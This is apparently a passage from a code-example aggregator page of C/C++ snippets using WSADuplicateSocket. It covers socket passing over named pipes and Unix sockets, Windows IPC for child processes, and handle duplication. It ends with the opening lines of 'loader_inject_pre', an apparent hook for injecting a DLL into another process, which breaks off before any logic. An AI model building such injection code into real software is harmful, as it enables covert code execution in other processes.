			" as requested by %s", sock_to_pass->peer_description());
		requested_by = requested_by_buf.Value();
	}

	HANDLE child_pipe;
	
	while(true)
	{
		child_pipe = CreateFile(
			pipe_name.Value(),
			GENERIC_READ | GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			0,
			NULL);

		if(child_pipe != INVALID_HANDLE_VALUE)
			break;

		if(GetLastError() == ERROR_PIPE_BUSY)
		{
			if (!WaitNamedPipe(pipe_name.Value(), 20000)) 
			{
				dprintf(D_ALWAYS, "ERROR: SharedPortClient: Wait for named pipe for sending socket timed out: %d\n", GetLastError());
				return false;
			}
		}
		else
		{
			dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to open named pipe for sending socket: %d\n", GetLastError());
			return false;
		}
	}

	DWORD child_pid;
	DWORD read_bytes = 0;

	BOOL read_result = ReadFile(child_pipe, &child_pid, sizeof(DWORD), &read_bytes, NULL);

	if(!read_result)
	{
		DWORD last_error = GetLastError();
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to read PID from pipe: %d.\n", last_error);
		CloseHandle(child_pipe);
		return false;
	}
	else
	{
		dprintf(D_FULLDEBUG, "SharedPortClient: Read PID: %d\n", child_pid);
	}

#if 1  // tj:2012 kill the else block later
	#pragma pack(push, 4)
	struct {
		int id; // condor commmand id
		WSAPROTOCOL_INFO wsa; // payload.
	} protocol_command;
	#pragma pack(pop)
	ZeroMemory(&protocol_command, sizeof(protocol_command));

	int dup_result = WSADuplicateSocket(sock_to_pass->get_file_desc(), child_pid, &protocol_command.wsa);
	if(dup_result == SOCKET_ERROR)
	{
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to duplicate socket.\n");
		CloseHandle(child_pipe);
		return false;
	}
	protocol_command.id = SHARED_PORT_PASS_SOCK;
	BOOL write_result = WriteFile(child_pipe, &protocol_command, sizeof(protocol_command), &read_bytes, 0);
#else
	WSAPROTOCOL_INFO protocol_info;
	int dup_result = WSADuplicateSocket(sock_to_pass->get_file_desc(), child_pid, &protocol_info);
	if(dup_result == SOCKET_ERROR)
	{
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to duplicate socket.\n");
		CloseHandle(child_pipe);
		return false;
	}
	int bufferSize = (sizeof(int) + sizeof(protocol_info));
	char *buffer = new char[bufferSize];
	ASSERT( buffer );
	int cmd = SHARED_PORT_PASS_SOCK;
	memcpy_s(buffer, sizeof(int), &cmd, sizeof(int));
	memcpy_s(buffer+sizeof(int), sizeof(protocol_info), &protocol_info, sizeof(protocol_info));
	BOOL write_result = WriteFile(child_pipe, buffer, bufferSize, &read_bytes, 0);

	delete [] buffer;
#endif
	if(!write_result)
	{
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to send WSAPROTOCOL_INFO struct: %d\n", GetLastError());
		CloseHandle(child_pipe);
		return false;
	}
	dprintf(D_FULLDEBUG, "SharedPortClient: Wrote %d bytes to named pipe.\n", read_bytes);
	FlushFileBuffers(child_pipe);

	CloseHandle(child_pipe);

	return true;
#elif HAVE_SCM_RIGHTS_PASSFD
	if( !SharedPortIdIsValid(shared_port_id) ) {
		dprintf(D_ALWAYS,
				"ERROR: SharedPortClient: refusing to connect to shared port"
				"%s, because specified id is illegal! (%s)\n",
				requested_by, shared_port_id );
		return false;
	}

	MyString sock_name;
	MyString socket_dir;

	SharedPortEndpoint::paramDaemonSocketDir(sock_name);
	sock_name.sprintf_cat("%c%s",DIR_DELIM_CHAR,shared_port_id);

	MyString requested_by_buf;
	if( !requested_by ) {
		requested_by_buf.sprintf(
			" as requested by %s", sock_to_pass->peer_description());
		requested_by = requested_by_buf.Value();
	}

	struct sockaddr_un named_sock_addr;
	memset(&named_sock_addr, 0, sizeof(named_sock_addr));
	named_sock_addr.sun_family = AF_UNIX;
	strncpy(named_sock_addr.sun_path,sock_name.Value(),sizeof(named_sock_addr.sun_path)-1);
	if( strcmp(named_sock_addr.sun_path,sock_name.Value()) ) {
		dprintf(D_ALWAYS,"ERROR: SharedPortClient: full socket name%s is too long: %s\n",
				requested_by,
				sock_name.Value());
		return false;
	}

	int named_sock_fd = socket(AF_UNIX,SOCK_STREAM,0);
	if( named_sock_fd == -1 ) {
		dprintf(D_ALWAYS,"ERROR: SharedPortClient: failed to created named socket%s to connect to %s: %s\n",
				requested_by,
				shared_port_id,
				strerror(errno));
		return false;
	}

	ReliSock named_sock;
	named_sock.assign(named_sock_fd);
	named_sock.set_deadline( sock_to_pass->get_deadline() );

	priv_state orig_priv = set_root_priv();

	int connect_rc = connect(named_sock_fd,(struct sockaddr *)&named_sock_addr, SUN_LEN(&named_sock_addr));

	set_priv( orig_priv );

	if( connect_rc != 0 )
	{
		dprintf(D_ALWAYS,"SharedPortClient: failed to connect to %s%s: %s\n",
				sock_name.Value(),
				requested_by,
				strerror(errno));
		return false;
	}

	// Make certain SO_LINGER is Off.  This will result in the default
	// of closesocket returning immediately and the system attempts to 
	// send any unsent data.

	struct linger linger = {0,0};
	setsockopt(named_sock_fd, SOL_SOCKET, SO_LINGER, (char*)&linger, sizeof(linger));


	// Now prepare to pass the file descriptor
	// to the target process via named_sock.

	// First tell the target daemon that we are about to send the fd.
	named_sock.encode();
	if( !named_sock.put((int)SHARED_PORT_PASS_SOCK) ||
		!named_sock.end_of_message() )
	{
		dprintf(D_ALWAYS,"SharedPortClient: failed to send SHARED_PORT_PASS_FD to %s%s: %s\n",
				sock_name.Value(),
				requested_by,
				strerror(errno));
		return false;
	}


	// Now send the fd.

	// The documented way to initialize msghdr is to first set msg_controllen
	// to the size of the cmsghdr buffer and then after initializing
	// cmsghdr(s) to set it to the sum of CMSG_LEN() across all cmsghdrs.

	struct msghdr msg;
	char *buf = (char *) malloc(CMSG_SPACE(sizeof(int)));
	msg.msg_name = NULL;
	msg.msg_namelen = 0;
	msg.msg_control = buf;
	msg.msg_controllen = CMSG_SPACE(sizeof(int));
	msg.msg_flags = 0;

		// I have found that on MacOS X 10.5, we must send at least 1 byte,
		// or we get "Message too long" when trying to send 0-byte message.
	struct iovec iov[1];
	int junk = 0;
	iov[0].iov_base = &junk;
	iov[0].iov_len = 1;
	msg.msg_iov = iov;
	msg.msg_iovlen = 1;

	struct cmsghdr *cmsg = CMSG_FIRSTHDR((&msg));
	void *cmsg_data = CMSG_DATA(cmsg);
	ASSERT( cmsg && cmsg_data );

	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;

	int fd_to_pass = sock_to_pass->get_file_desc();
	memcpy(cmsg_data,&fd_to_pass,sizeof(int));

	msg.msg_controllen = cmsg->cmsg_len;

	if( sendmsg(named_sock.get_file_desc(),&msg,0) != 1 ) {
		dprintf(D_ALWAYS,"SharedPortClient: failed to pass socket to %s%s: %s\n",
				sock_name.Value(),
				requested_by,
				strerror(errno));
		free(buf);
		return false;
	}


		// The following final ACK appears to be necessary on Mac OS X
		// 10.5.8 (not sure of others).  It does not appear to be
		// necessary on any version of linux that I have tried.  The
		// observed problem that this solves is random failures where
		// the endpoint sees the passed socket close right away.  It
		// would be nice not to have an ACK, because then the whole
		// PassSocket() protocol would be non-blocking.  Since the
		// protocol is blocking with this ACK, it means we could
		// temporarily deadlock if the endpoint we are passing the
		// socket to is blocking on us on some other channel.  If
		// this becomes a problem, we can at least make the ACK only
		// happen on platforms that need it.  This protocol is always
		// just local to the machine, so need to worry about keeping
		// it compatible between different platforms.


	named_sock.decode();
	int status = 0;
	if( !named_sock.get(status) || !named_sock.end_of_message() ) {
		dprintf(D_ALWAYS,"SharedPortClient: failed to receive result for SHARED_PORT_PASS_FD to %s%s: %s\n",
				sock_name.Value(),
				requested_by,
				strerror(errno));

		free(buf);
		return false;
	}
	if( status != 0 ) {
		dprintf(D_ALWAYS,"SharedPortClient: received failure response for SHARED_PORT_PASS_FD to %s%s\n",
				sock_name.Value(),
				requested_by);
		free(buf);
		return false;
	}


	dprintf(D_FULLDEBUG,"SharedPortClient: passed socket to %s%s\n",
			sock_name.Value(),
			requested_by);
	free(buf);
	return true;
#else
#error HAVE_SHARED_PORT is defined, but no method for passing fds is enabled.
#endif
}
int
SharedPortClient::PassSocket(Sock *sock_to_pass,char const *shared_port_id,char const *requested_by, bool non_blocking)
{
#ifndef HAVE_SHARED_PORT

	dprintf(D_ALWAYS,"SharedPortClient::PassSocket() not supported on this platform\n");
	SharedPortClient::m_failPassSocketCalls++;
	return FALSE;

#elif WIN32

	/* Handle Windows */

	if( !SharedPortIdIsValid(shared_port_id) ) {
		dprintf(D_ALWAYS,
				"ERROR: SharedPortClient: refusing to connect to shared port"
				"%s, because specified id is illegal! (%s)\n",
				requested_by, shared_port_id );
		SharedPortClient::m_failPassSocketCalls++;
		return FALSE;
	}

	std::string pipe_name;
	SharedPortEndpoint::GetDaemonSocketDir(pipe_name);
	formatstr_cat(pipe_name, "%c%s", DIR_DELIM_CHAR, shared_port_id);

	MyString requested_by_buf;
	if( !requested_by ) {
		requested_by_buf.formatstr(
			" as requested by %s", sock_to_pass->peer_description());
		requested_by = requested_by_buf.Value();
	}

	HANDLE child_pipe;
	
	while(true)
	{
		child_pipe = CreateFile(
			pipe_name.c_str(),
			GENERIC_READ | GENERIC_WRITE,
			0,
			NULL,
			OPEN_EXISTING,
			0,
			NULL);

		if(child_pipe != INVALID_HANDLE_VALUE)
			break;

		if(GetLastError() == ERROR_PIPE_BUSY)
		{
			dprintf(D_FULLDEBUG, "SharedPortClient: pipe id '%s' %s is busy, waiting\n", shared_port_id, requested_by);
		#if 1 // tj: this *might*? make a difference?
			bool timeout = true;
			for (int ii = 0; ii < 5; ++ii) {
				if (WaitNamedPipe(pipe_name.c_str(), 3 * 1000)) { timeout = false; break; }
				DWORD err = GetLastError();
				dprintf(D_FULLDEBUG, "SharedPortClient: pipe id '%s' %s wait returned %d\n", shared_port_id, requested_by, err);
			}
			if (timeout)
		#else
			if (!WaitNamedPipe(pipe_name.c_str(), 20 * 1000))
		#endif
			{
				DWORD err = GetLastError();
				dprintf(D_ALWAYS, "ERROR: SharedPortClient: Wait for named pipe id '%s' %s for sending failed: %d %s\n",
					shared_port_id, requested_by, err, GetLastErrorString(err));
				SharedPortClient::m_failPassSocketCalls++;
				return FALSE;
			}
			dprintf(D_FULLDEBUG, "SharedPortClient: wait for pipe id '%s' %s succeeded.\n", shared_port_id, requested_by);
		}
		else
		{
			DWORD err = GetLastError();
			dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to open named pipe id '%s' %s for sending socket: %d %s\n", 
				shared_port_id, requested_by, err, GetLastErrorString(err));
			SharedPortClient::m_failPassSocketCalls++;
			return FALSE;
		}
	}

	DWORD child_pid;
	DWORD read_bytes = 0;

	BOOL read_result = ReadFile(child_pipe, &child_pid, sizeof(DWORD), &read_bytes, NULL);

	if(!read_result)
	{
		DWORD last_error = GetLastError();
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to read PID from pipe: %d.\n", last_error);
		CloseHandle(child_pipe);
		SharedPortClient::m_failPassSocketCalls++;
		return FALSE;
	}
	else
	{
		dprintf(D_FULLDEBUG, "SharedPortClient: Read PID: %d\n", child_pid);
	}

	#pragma pack(push, 4)
	struct {
		int id; // condor commmand id
		WSAPROTOCOL_INFO wsa; // payload.
	} protocol_command;
	#pragma pack(pop)
	ZeroMemory(&protocol_command, sizeof(protocol_command));

	int dup_result = WSADuplicateSocket(sock_to_pass->get_file_desc(), child_pid, &protocol_command.wsa);
	if(dup_result == SOCKET_ERROR)
	{
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to duplicate socket.\n");
		CloseHandle(child_pipe);
		SharedPortClient::m_failPassSocketCalls++;
		return FALSE;
	}

	protocol_command.id = SHARED_PORT_PASS_SOCK;
	BOOL write_result = WriteFile(child_pipe, &protocol_command, sizeof(protocol_command), &read_bytes, 0);

	if(!write_result)
	{
		dprintf(D_ALWAYS, "ERROR: SharedPortClient: Failed to send WSAPROTOCOL_INFO struct: %d\n", GetLastError());
		CloseHandle(child_pipe);
		SharedPortClient::m_failPassSocketCalls++;
		return FALSE;
	}
	dprintf(D_FULLDEBUG, "SharedPortClient: Wrote %d bytes to named pipe.\n", read_bytes);
	FlushFileBuffers(child_pipe);

	CloseHandle(child_pipe);

	SharedPortClient::m_successPassSocketCalls++;
	return TRUE;

#elif HAVE_SCM_RIGHTS_PASSFD

	/* Handle most (all?) Linux/Unix and MacOS platforms */

	SharedPortState * state = new SharedPortState(static_cast<ReliSock*>(sock_to_pass),
									shared_port_id, requested_by, non_blocking);

	int result = state->Handle();

	switch (result) 
	{
	case KEEP_STREAM:
		// pass thru so that we return KEEP_STREAM; the PassSocket call is
		// pending, we want to keep the passed socket open until we get an 
		// ack from endpoint.  
		ASSERT( non_blocking ); // should only get KEEP_STREAM if non_blocking is true
		break;
	case SharedPortState::FAILED:
		result = FALSE;
		break;
	case SharedPortState::DONE:
		result = TRUE;
		break;
	case SharedPortState::CONTINUE:
	case SharedPortState::WAIT:
	default:
		// coding logic error if Handle() returns anything else
		EXCEPT("ERROR SharedPortState::Handle() unexpected return code %d",result);
		break;
	}

	return result;

#else

#error HAVE_SHARED_PORT is defined, but no method for passing fds is enabled.

#endif
}
Beispiel #16
0
static unsigned int __stdcall
ipc_thread_1(void *in_params)
{
    int t1, t2, t3, retval = -1;
    int p2c[2] =
    {-1, -1};
    int c2p[2] =
    {-1, -1};
    HANDLE hProcess = NULL, thread = NULL;
    pid_t pid = -1;
    struct thread_params thread_params;
    int x, tmp_s, fd = -1;
    char *str;
#if HAVE_PUTENV
    char *env_str = NULL;
#endif
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    long F;
    int prfd_ipc = -1, pwfd_ipc = -1, crfd_ipc = -1, cwfd_ipc = -1;
    char *prog = NULL, *buf1 = NULL;
    struct sockaddr_in CS_ipc, PS_ipc;

    struct ipc_params *params = (struct ipc_params *) in_params;
    int type = params->type;
    int crfd = params->crfd;
    int cwfd = params->cwfd;
    char **args = params->args;
    struct sockaddr_in PS = params->PS;


    buf1 = xcalloc(1, 8192);
    strcpy(buf1, params->prog);
    prog = strtok(buf1, w_space);

    if ((str = strrchr(prog, '/')))
	prog = ++str;
    if ((str = strrchr(prog, '\\')))
	prog = ++str;

    prog = xstrdup(prog);

    if (type == IPC_TCP_SOCKET) {
	debug(54, 3) ("ipcCreate: calling accept on FD %d\n", crfd);
	if ((fd = accept(crfd, NULL, NULL)) < 0) {
	    debug(54, 0) ("ipcCreate: FD %d accept: %s\n", crfd, xstrerror());
	    goto cleanup;
	}
	debug(54, 3) ("ipcCreate: CHILD accepted new FD %d\n", fd);
	comm_close(crfd);
	snprintf(buf1, 8191, "%s CHILD socket", prog);
	fd_open(fd, FD_SOCKET, buf1);
	fd_table[fd].flags.ipc = 1;
	cwfd = crfd = fd;
    } else if (type == IPC_UDP_SOCKET) {
	if (comm_connect_addr(crfd, &PS) == COMM_ERROR)
	    goto cleanup;
    }
    x = send(cwfd, hello_string, strlen(hello_string) + 1, 0);

    if (x < 0) {
	debug(54, 0) ("sendto FD %d: %s\n", cwfd, xstrerror());
	debug(54, 0) ("ipcCreate: CHILD: hello write test failed\n");
	goto cleanup;
    }
#if HAVE_PUTENV
    env_str = xcalloc((tmp_s = strlen(Config.debugOptions) + 32), 1);
    snprintf(env_str, tmp_s, "SQUID_DEBUG=%s", Config.debugOptions);
    putenv(env_str);
#endif
    memset(buf1, '\0', sizeof(buf1));
    x = recv(crfd, buf1, 8191, 0);

    if (x < 0) {
	debug(54, 0) ("ipcCreate: CHILD: OK read test failed\n");
	debug(54, 0) ("--> read: %s\n", xstrerror());
	goto cleanup;
    } else if (strcmp(buf1, ok_string)) {
	debug(54, 0) ("ipcCreate: CHILD: OK read test failed\n");
	debug(54, 0) ("--> read returned %d\n", x);
	debug(54, 0) ("--> got '%s'\n", rfc1738_escape(hello_buf));
	goto cleanup;
    }
    /* assign file descriptors to child process */
    if (_pipe(p2c, 1024, _O_BINARY | _O_NOINHERIT) < 0) {
	debug(54, 0) ("ipcCreate: CHILD: pipe: %s\n", xstrerror());
	ipcSend(cwfd, err_string, strlen(err_string));
	goto cleanup;
    }
    if (_pipe(c2p, 1024, _O_BINARY | _O_NOINHERIT) < 0) {
	debug(54, 0) ("ipcCreate: CHILD: pipe: %s\n", xstrerror());
	ipcSend(cwfd, err_string, strlen(err_string));
	goto cleanup;
    }
    if (type == IPC_UDP_SOCKET) {
	snprintf(buf1, 8192, "%s(%ld) <-> ipc CHILD socket", prog, -1L);
	crfd_ipc = cwfd_ipc = comm_open(SOCK_DGRAM, IPPROTO_UDP, local_addr, 0, 0, buf1);

	if (crfd_ipc < 0) {
	    debug(54, 0) ("ipcCreate: CHILD: Failed to create child FD for %s.\n",
		prog);
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	snprintf(buf1, 8192, "%s(%ld) <-> ipc PARENT socket", prog, -1L);
	prfd_ipc = pwfd_ipc = comm_open(SOCK_DGRAM, IPPROTO_UDP, local_addr, 0, 0, buf1);
	if (pwfd_ipc < 0) {
	    debug(54, 0) ("ipcCreate: CHILD: Failed to create server FD for %s.\n",
		prog);
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	tmp_s = sizeof(PS_ipc);
	memset(&PS_ipc, '\0', tmp_s);
	if (getsockname(pwfd_ipc, (struct sockaddr *) &PS_ipc, &tmp_s) < 0) {
	    debug(54, 0) ("ipcCreate: getsockname: %s\n", xstrerror());
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	debug(54, 3) ("ipcCreate: FD %d sockaddr %s:%d\n",
	    pwfd_ipc, inet_ntoa(PS_ipc.sin_addr), ntohs(PS_ipc.sin_port));
	tmp_s = sizeof(CS_ipc);
	memset(&CS_ipc, '\0', tmp_s);
	if (getsockname(crfd_ipc, (struct sockaddr *) &CS_ipc, &tmp_s) < 0) {
	    debug(54, 0) ("ipcCreate: getsockname: %s\n", xstrerror());
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	debug(54, 3) ("ipcCreate: FD %d sockaddr %s:%d\n",
	    crfd_ipc, inet_ntoa(CS_ipc.sin_addr), ntohs(CS_ipc.sin_port));

	if (comm_connect_addr(pwfd_ipc, &CS_ipc) == COMM_ERROR) {
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	fd = crfd;

	if (comm_connect_addr(crfd_ipc, &PS_ipc) == COMM_ERROR) {
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
    }				/* IPC_UDP_SOCKET */
    t1 = dup(0);
    t2 = dup(1);
    t3 = dup(2);
    dup2(c2p[0], 0);
    dup2(p2c[1], 1);
    dup2(fileno(debug_log), 2);
    close(c2p[0]);
    close(p2c[1]);

    commUnsetNonBlocking(fd);

    memset(&si, 0, sizeof(STARTUPINFO));
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = (HANDLE) _get_osfhandle(0);
    si.hStdOutput = (HANDLE) _get_osfhandle(1);
    si.hStdError = (HANDLE) _get_osfhandle(2);
    si.dwFlags = STARTF_USESTDHANDLES;

    /* Make sure all other valid handles are not inerithable */
    for (x = 3; x < Squid_MaxFD; x++) {
	if ((F = _get_osfhandle(x)) == -1)
	    continue;
	SetHandleInformation((HANDLE) F, HANDLE_FLAG_INHERIT, 0);
    }

    *buf1 = '\0';
    strcpy(buf1 + 4096, params->prog);
    str = strtok(buf1 + 4096, w_space);

    do {
	strcat(buf1, str);
	strcat(buf1, " ");
    } while ((str = strtok(NULL, w_space)));

    x = 1;

    while (args[x]) {
	strcat(buf1, args[x++]);
	strcat(buf1, " ");
    }

    if (CreateProcess(buf1 + 4096, buf1, NULL, NULL, TRUE, CREATE_NO_WINDOW,
	    NULL, NULL, &si, &pi)) {
	pid = pi.dwProcessId;
	hProcess = pi.hProcess;
    } else {
	pid = -1;
	WIN32_maperror(GetLastError());
	x = errno;
    }

    dup2(t1, 0);
    dup2(t2, 1);
    dup2(t3, 2);
    close(t1);
    close(t2);
    close(t3);

    if (pid == -1) {
	errno = x;
	debug(54, 0) ("ipcCreate: CHILD: %s: %s\n", params->prog, xstrerror());
	ipcSend(cwfd, err_string, strlen(err_string));
	goto cleanup;
    }
    if (type == IPC_UDP_SOCKET) {
	WSAPROTOCOL_INFO wpi;

	memset(&wpi, 0, sizeof(wpi));
	if (SOCKET_ERROR == WSADuplicateSocket(crfd_ipc, pid, &wpi)) {
	    debug(54, 0) ("ipcCreate: CHILD: WSADuplicateSocket: %s\n",
		xstrerror());
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	x = write(c2p[1], (const char *) &wpi, sizeof(wpi));
	if (x < sizeof(wpi)) {
	    debug(54, 0) ("ipcCreate: CHILD: write FD %d: %s\n", c2p[1],
		xstrerror());
	    debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n",
		prog);
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	x = read(p2c[0], buf1, 8192);
	if (x < 0) {
	    debug(54, 0) ("ipcCreate: CHILD: read FD %d: %s\n", p2c[0],
		xstrerror());
	    debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n",
		prog);
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	} else if (strncmp(buf1, ok_string, strlen(ok_string))) {
	    debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n",
		prog);
	    debug(54, 0) ("--> read returned %d\n", x);
	    buf1[x] = '\0';
	    debug(54, 0) ("--> got '%s'\n", rfc1738_escape(buf1));
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	x = write(c2p[1], (const char *) &PS_ipc, sizeof(PS_ipc));
	if (x < sizeof(PS_ipc)) {
	    debug(54, 0) ("ipcCreate: CHILD: write FD %d: %s\n", c2p[1],
		xstrerror());
	    debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n",
		prog);
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	x = read(p2c[0], buf1, 8192);
	if (x < 0) {
	    debug(54, 0) ("ipcCreate: CHILD: read FD %d: %s\n", p2c[0],
		xstrerror());
	    debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n",
		prog);
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	} else if (strncmp(buf1, ok_string, strlen(ok_string))) {
	    debug(54, 0) ("ipcCreate: CHILD: %s: socket exchange failed\n",
		prog);
	    debug(54, 0) ("--> read returned %d\n", x);
	    buf1[x] = '\0';
	    debug(54, 0) ("--> got '%s'\n", rfc1738_escape(buf1));
	    ipcSend(cwfd, err_string, strlen(err_string));
	    goto cleanup;
	}
	x = send(pwfd_ipc, ok_string, strlen(ok_string), 0);
	x = recv(prfd_ipc, buf1 + 200, 8191 - 200, 0);
	assert((size_t) x == strlen(ok_string)
	    && !strncmp(ok_string, buf1 + 200, strlen(ok_string)));
    }				/* IPC_UDP_SOCKET */
    snprintf(buf1, 8191, "%s(%ld) CHILD socket", prog, (long int) pid);
    fd_note(fd, buf1);

    if (prfd_ipc != -1) {
	snprintf(buf1, 8191, "%s(%ld) <-> ipc CHILD socket", prog, (long int) pid);
	fd_note(crfd_ipc, buf1);
	snprintf(buf1, 8191, "%s(%ld) <-> ipc PARENT socket", prog, (long int) pid);
	fd_note(prfd_ipc, buf1);
    }
    /* else {                       IPC_TCP_SOCKET */
    /*     commSetNoLinger(fd); */
    /*  } */
    thread_params.prog = prog;
    thread_params.send_fd = cwfd;
    thread_params.pid = pid;

    if ((thread_params.type = type) == IPC_TCP_SOCKET)
	thread_params.rfd = p2c[0];
    else
	thread_params.rfd = prfd_ipc;

    thread =
	(HANDLE) _beginthreadex(NULL, 0, ipc_thread_2, &thread_params, 0, NULL);

    if (!thread) {
	debug(54, 0) ("ipcCreate: CHILD: _beginthreadex: %s\n", xstrerror());
	ipcSend(cwfd, err_string, strlen(err_string));
	goto cleanup;
    }
    snprintf(buf1, 8191, "%ld\n", (long int) pid);

    if (-1 == ipcSend(cwfd, buf1, strlen(buf1)))
	goto cleanup;

    debug(54, 2) ("ipc(%s,%ld): started successfully\n", prog, (long int) pid);

    /* cycle */
    for (;;) {
	x = recv(crfd, buf1, 8192, 0);
	if (x <= 0) {
	    debug(54, 3) ("ipc(%s,%d): %d bytes received from parent. Exiting...\n",
		prog, pid, x);
	    break;
	}
	buf1[x] = '\0';
	if (type == IPC_UDP_SOCKET && !strcmp(buf1, shutdown_string)) {
	    debug(54, 3)
		("ipc(%s,%d): request for shutdown received from parent. Exiting...\n",
		prog, pid);
	    TerminateProcess(hProcess, 0);
	    break;
	}
	debug(54, 5) ("ipc(%s,%d): received from parent: %s\n", prog, pid,
	    rfc1738_escape_unescaped(buf1));
	if (type == IPC_TCP_SOCKET)
	    x = write(c2p[1], buf1, x);
	else
	    x = send(pwfd_ipc, buf1, x, 0);
	if (x <= 0) {
	    debug(54, 3) ("ipc(%s,%d): %d bytes written to %s. Exiting...\n",
		prog, pid, x, prog);
	    break;
	}
    }

    retval = 0;

  cleanup:
    if (c2p[1] != -1)
	close(c2p[1]);

    if (fd_table[crfd].flags.open)
	ipcCloseAllFD(-1, -1, crfd, cwfd);

    if (prfd_ipc != -1) {
	send(crfd_ipc, shutdown_string, strlen(shutdown_string), 0);
	shutdown(crfd_ipc, SD_BOTH);
	shutdown(prfd_ipc, SD_BOTH);
    }
    ipcCloseAllFD(prfd_ipc, pwfd_ipc, crfd_ipc, cwfd_ipc);

    if (hProcess && WAIT_OBJECT_0 !=
	WaitForSingleObject(hProcess, type == IPC_UDP_SOCKET ? 12000 : 5000)) {

	getCurrentTime();
	debug(54, 0) ("ipc(%s,%d): WARNING: %s didn't exit in %d seconds.\n",
	    prog, pid, prog, type == IPC_UDP_SOCKET ? 12 : 5);
    }
    if (thread && WAIT_OBJECT_0 != WaitForSingleObject(thread, 3000)) {
	getCurrentTime();
	debug(54, 0)
	    ("ipc(%s,%d): WARNING: ipc_thread_2 didn't exit in 3 seconds.\n",
	    prog, pid);
    }
    getCurrentTime();

    if (!retval)
	debug(54, 2) ("ipc(%s,%d): normal exit\n", prog, pid);

    if (buf1)
	xfree(buf1);

    if (prog)
	xfree(prog);

    if (env_str)
	xfree(env_str);

    if (thread)
	CloseHandle(thread);

    if (hProcess)
	CloseHandle(hProcess);

    if (p2c[0] != -1)
	close(p2c[0]);

    return retval;
}
Beispiel #17
0
int send_handles(DWORD child_ID,
                 HANDLE pipe,
                 HANDLE child_handle,
                 SOCKET sock_fd,
                 HANDLE accept_mtx,
                 HANDLE shmem_id, HANDLE shmem_mtx, int qsize)
{
     DWORD dwWritten;
     HANDLE dupmutex;
     HANDLE dupshmem, dupshmemmtx;
     WSAPROTOCOL_INFO sock_info;

     memset(&sock_info, 0, sizeof(sock_info));

     if (WSADuplicateSocket(sock_fd, child_ID, &sock_info) != 0) {
          ci_debug_printf(1, "Error socket duplicating:%d\n",
                          WSAGetLastError());
     }

     DuplicateHandle(GetCurrentProcess(),
                     accept_mtx,
                     child_handle, &dupmutex, SYNCHRONIZE, FALSE, 0);
     DuplicateHandle(GetCurrentProcess(),
                     shmem_id,
                     child_handle,
                     &dupshmem, SYNCHRONIZE, FALSE, DUPLICATE_SAME_ACCESS);

     DuplicateHandle(GetCurrentProcess(),
                     shmem_mtx,
                     child_handle,
                     &dupshmemmtx, SYNCHRONIZE, FALSE, DUPLICATE_SAME_ACCESS);

     if (!WriteFile(pipe, &child_handle, sizeof(HANDLE), &dwWritten, NULL) ||
         dwWritten != sizeof(HANDLE)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }

     if (!WriteFile(pipe, &pipe, sizeof(HANDLE), &dwWritten, NULL) ||
         dwWritten != sizeof(HANDLE)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }

     if (!WriteFile(pipe, &dupmutex, sizeof(HANDLE), &dwWritten, NULL) ||
         dwWritten != sizeof(HANDLE)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }
     if (!WriteFile(pipe, &dupshmem, sizeof(HANDLE), &dwWritten, NULL) ||
         dwWritten != sizeof(HANDLE)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }
     if (!WriteFile(pipe, &dupshmemmtx, sizeof(HANDLE), &dwWritten, NULL) ||
         dwWritten != sizeof(HANDLE)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }
     if (!WriteFile(pipe, &qsize, sizeof(int), &dwWritten, NULL) ||
         dwWritten != sizeof(int)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }
     if (!WriteFile
         (pipe, &sock_info, sizeof(WSAPROTOCOL_INFO), &dwWritten, NULL)
         || dwWritten != sizeof(WSAPROTOCOL_INFO)) {
          ci_debug_printf(1, "Error sending handles\n");
          return 0;
     }
//   sprintf(buf,"%d:%d:%d:%d:%d",child_handle,dupmutex,dupshmem,dupshmemmtx,qsize);
//   WriteFile(pipe, buf, strlen(buf)+1, &dwWritten, NULL);
     return 1;
}
Beispiel #18
0
/*
 * A pre injection hook called before our dll has been injected into a process.
 */
DWORD loader_inject_pre( DWORD dwPid, HANDLE hProcess, char * cpCommandLine )
{
	DWORD dwResult               = ERROR_SUCCESS;
	LPVOID lpMemory              = NULL;
	AGENT_CTX RemoteAgentContext = {0};
	int i                        = 0;

	do
	{
		if( !hProcess || !cpCommandLine )
			BREAK_WITH_ERROR( "[LOADER] loader_inject_pre. !hProcess || !cpCommandLine", ERROR_INVALID_PARAMETER );

		// Use User32!WaitForInputIdle to slow things down so if it's a new
